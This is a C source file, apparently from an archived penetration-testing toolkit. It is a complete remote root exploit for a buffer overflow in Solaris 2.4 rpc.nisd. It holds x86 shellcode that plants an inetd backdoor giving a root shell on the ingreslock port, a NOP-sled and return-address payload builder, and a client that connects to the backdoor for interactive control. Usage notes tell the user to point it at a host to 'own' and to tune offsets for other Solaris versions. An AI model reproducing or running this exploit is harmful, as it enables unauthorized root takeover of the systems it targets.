home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / solx86-nisd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  233 lines

  1. /* PRIVATE. DO NOT DISTRIBUTE. */
  2. /*
  3.    rpc.nisd remote root overflow, solaris 2.4 x86 (not SPARC yet)
  4.    by anathema <anathema@hack.co.za>
  5.  */
  6. /*
  7.    compilation (solaris):
  8.      $ gcc -o nisd nisd.c -lsocket -lnsl -lrpcsvc
  9.    usage example:
  10.      $ ./nisd host.to.own.com [offset]
  11.    
  12.    Default addr (0x80476c0) tested against rpc.nisd distributed with 
  13.    Solaris 2.4 (SunOS 5.4). This exploit will probably work against
  14.    Solaris 2.5.0 and 2.5.1 with a different offset, experiment.
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <unistd.h>
  20. #include <string.h>
  21. #include <ctype.h>
  22. #include <memory.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <sys/time.h>
  26. #include <netinet/in.h>
  27. #include <arpa/inet.h>
  28. #include <netdb.h>
  29. #include <rpc/rpc.h>
  30. #include <rpcsvc/nis.h>
  31. /* #include <rpcsvc/nis_object.h> */
  32.  
  33. #define RET        348
  34. #define ADDR        0x80476c0        /* sol 2.4 */
  35.  
  36. #define PROG        100300
  37. #define VERS        3
  38. #define PROC        22
  39.  
  40. char c0de[] =
  41.   "\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
  42.   "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
  43.   "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
  44.   "\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
  45.   "\x03\x03\x03\x03\x04\x04\x04\x04"
  46.   "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
  47.   "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/bleh;"
  48.   "/usr/sbin/inetd -s /tmp/bleh;/bin/rm -f /tmp/bleh";
  49.  
  50. u_long
  51. resolve_host(u_char *host)
  52. {
  53.   struct in_addr addr;
  54.   struct hostent *host_ent;
  55.  
  56.   addr.s_addr = inet_addr(host);
  57.   if (addr.s_addr == -1)
  58.     {
  59.       host_ent = gethostbyname(host);
  60.       if (!host_ent) return(0);
  61.       memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  62.     }
  63.  
  64.   return(addr.s_addr);
  65. }
  66.  
  67. bool_t
  68. xdr_nis_name(register XDR *xdrs, nis_name *objp)
  69. {
  70.   register long *buf;
  71.  
  72.   if (!xdr_string(xdrs, objp, ~0)) return (FALSE);
  73.   else return(TRUE);
  74. }
  75.  
  76. bool_t
  77. xdr_nis_error(register XDR *xdrs, nis_error *objp)
  78. {
  79.   register long *buf;
  80.  
  81.   if (!xdr_enum(xdrs, (enum_t *)objp)) return(FALSE);
  82.   else return(TRUE);
  83. }
  84.  
  85. void
  86. shellz(u_long dst_ip)
  87. {
  88.   struct sockaddr_in sin;
  89.   u_char sock_buf[4096];
  90.   fd_set fds;
  91.   int sock;
  92.  
  93.   sleep(2);
  94.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  95.   if (sock == -1)
  96.     {
  97.       perror("socket allocation");
  98.       exit(-1);
  99.     }
  100.  
  101.   sin.sin_family = AF_INET;
  102.   sin.sin_port   = htons(1524);
  103.   sin.sin_addr.s_addr = dst_ip;
  104.  
  105.   if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  106.     {
  107.       perror("connecting to backdoor");
  108.       exit(-1);
  109.     }
  110.  
  111.   fprintf(stderr, "owned\n");
  112.   write(sock, "id; uname -a; cd /;\n", 20);
  113.   for (;;)
  114.     {
  115.       FD_ZERO(&fds);
  116.       FD_SET(0, &fds);    /* STDIN_FILENO */
  117.       FD_SET(sock, &fds);
  118.  
  119.       if (select(255, &fds, NULL, NULL, NULL) == -1)
  120.         {
  121.           perror("select");
  122.           exit(-1);
  123.         }
  124.  
  125.       memset(sock_buf, 0, sizeof(sock_buf));
  126.  
  127.       if (FD_ISSET(sock, &fds))
  128.         {
  129.           if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
  130.             {
  131.               fprintf(stderr, "Connection closed by foreign host.\n");
  132.               exit(0);
  133.             }
  134.           fprintf(stderr, "%s", sock_buf);
  135.         }
  136.  
  137.       if (FD_ISSET(0, &fds))
  138.         {
  139.           read(0, sock_buf, sizeof(sock_buf) - 1);
  140.           write(sock, sock_buf, strlen(sock_buf));
  141.         }
  142.     }
  143.  
  144.   /* NOTREACHED */
  145. }
  146.  
  147. void
  148. exploit(u_long dst_ip, u_char *buf)
  149. {
  150.   struct sockaddr_in sin;
  151.   struct timeval time_val;
  152.   int sock = RPC_ANYSOCK;
  153.   nis_error nis_err;
  154.   CLIENT *clnt;
  155.  
  156.   time_val.tv_usec  = 0;
  157.   time_val.tv_sec   = 10;
  158.  
  159.   sin.sin_family = AF_INET;
  160.   sin.sin_port   = 0;
  161.   sin.sin_addr.s_addr = dst_ip;
  162.  
  163.   clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
  164.   if (!clnt)
  165.     {
  166.       fprintf(stderr, "err: clntudp_create(): is host running rpc.nisd?\n");
  167.       exit(-1);
  168.     }
  169.   /*
  170.    *  Standard AUTH_UNIX authentication.
  171.    */
  172.   clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  173.  
  174.   if (clnt_call(clnt, PROC, (xdrproc_t)xdr_nis_name, (caddr_t)&buf,
  175.                 (xdrproc_t)xdr_nis_error, (caddr_t)&nis_err, time_val)
  176.       != RPC_SUCCESS)
  177.     {
  178.       clnt_destroy(clnt);
  179.       shellz(dst_ip);
  180.     }
  181.  
  182.   fprintf(stderr, "clnt_call() succeeded: patched nisd?.\n");
  183.   clnt_destroy(clnt);
  184.   exit(0);
  185. }
  186.  
  187. void
  188. usage(u_char *argv0)
  189. {
  190.   fprintf(stderr, "usage: %s dst_host|ip [offset]\n", argv0);
  191.   exit(-1);
  192. }
  193.  
  194. int
  195. main(int argc, char **argv)
  196. {
  197.   u_long dst_ip    = 0;
  198.   u_char buf[4096] = {0};
  199.   u_long addr      = ADDR;
  200.   int ret = RET, i = 0, j = 0;
  201.  
  202.   if (argc != 2 && argc != 3)
  203.     {
  204.       usage(argv[0]);
  205.       /* NOTREACHED */
  206.     }
  207.  
  208.   dst_ip = resolve_host(argv[1]);
  209.   if (!dst_ip)
  210.     {
  211.       fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
  212.       exit(-1);
  213.     }
  214.  
  215.   if (argc > 2) addr += atoi(argv[2]);
  216.   fprintf(stderr, "addr 0x%lx\n", addr);
  217.  
  218.   memset(buf, 0x90, ret);
  219.   for (i=(ret-strlen(c0de)); i < ret; j++, i++) buf[i] = c0de[j];
  220.   for (; i < (ret + 1024); i += 4)
  221.     {
  222.       buf[i+0] = (addr & 0x000000ff);
  223.       buf[i+1] = (addr & 0x0000ff00) >> 8;
  224.       buf[i+2] = (addr & 0x00ff0000) >> 16;
  225.       buf[i+3] = (addr & 0xff000000) >> 24;
  226.     }
  227.  
  228.   exploit(dst_ip, buf);
  229.   /* NOTREACHED */
  230. }
  231.  
  232.  
  233. /*                    www.hack.co.za              [2000]*/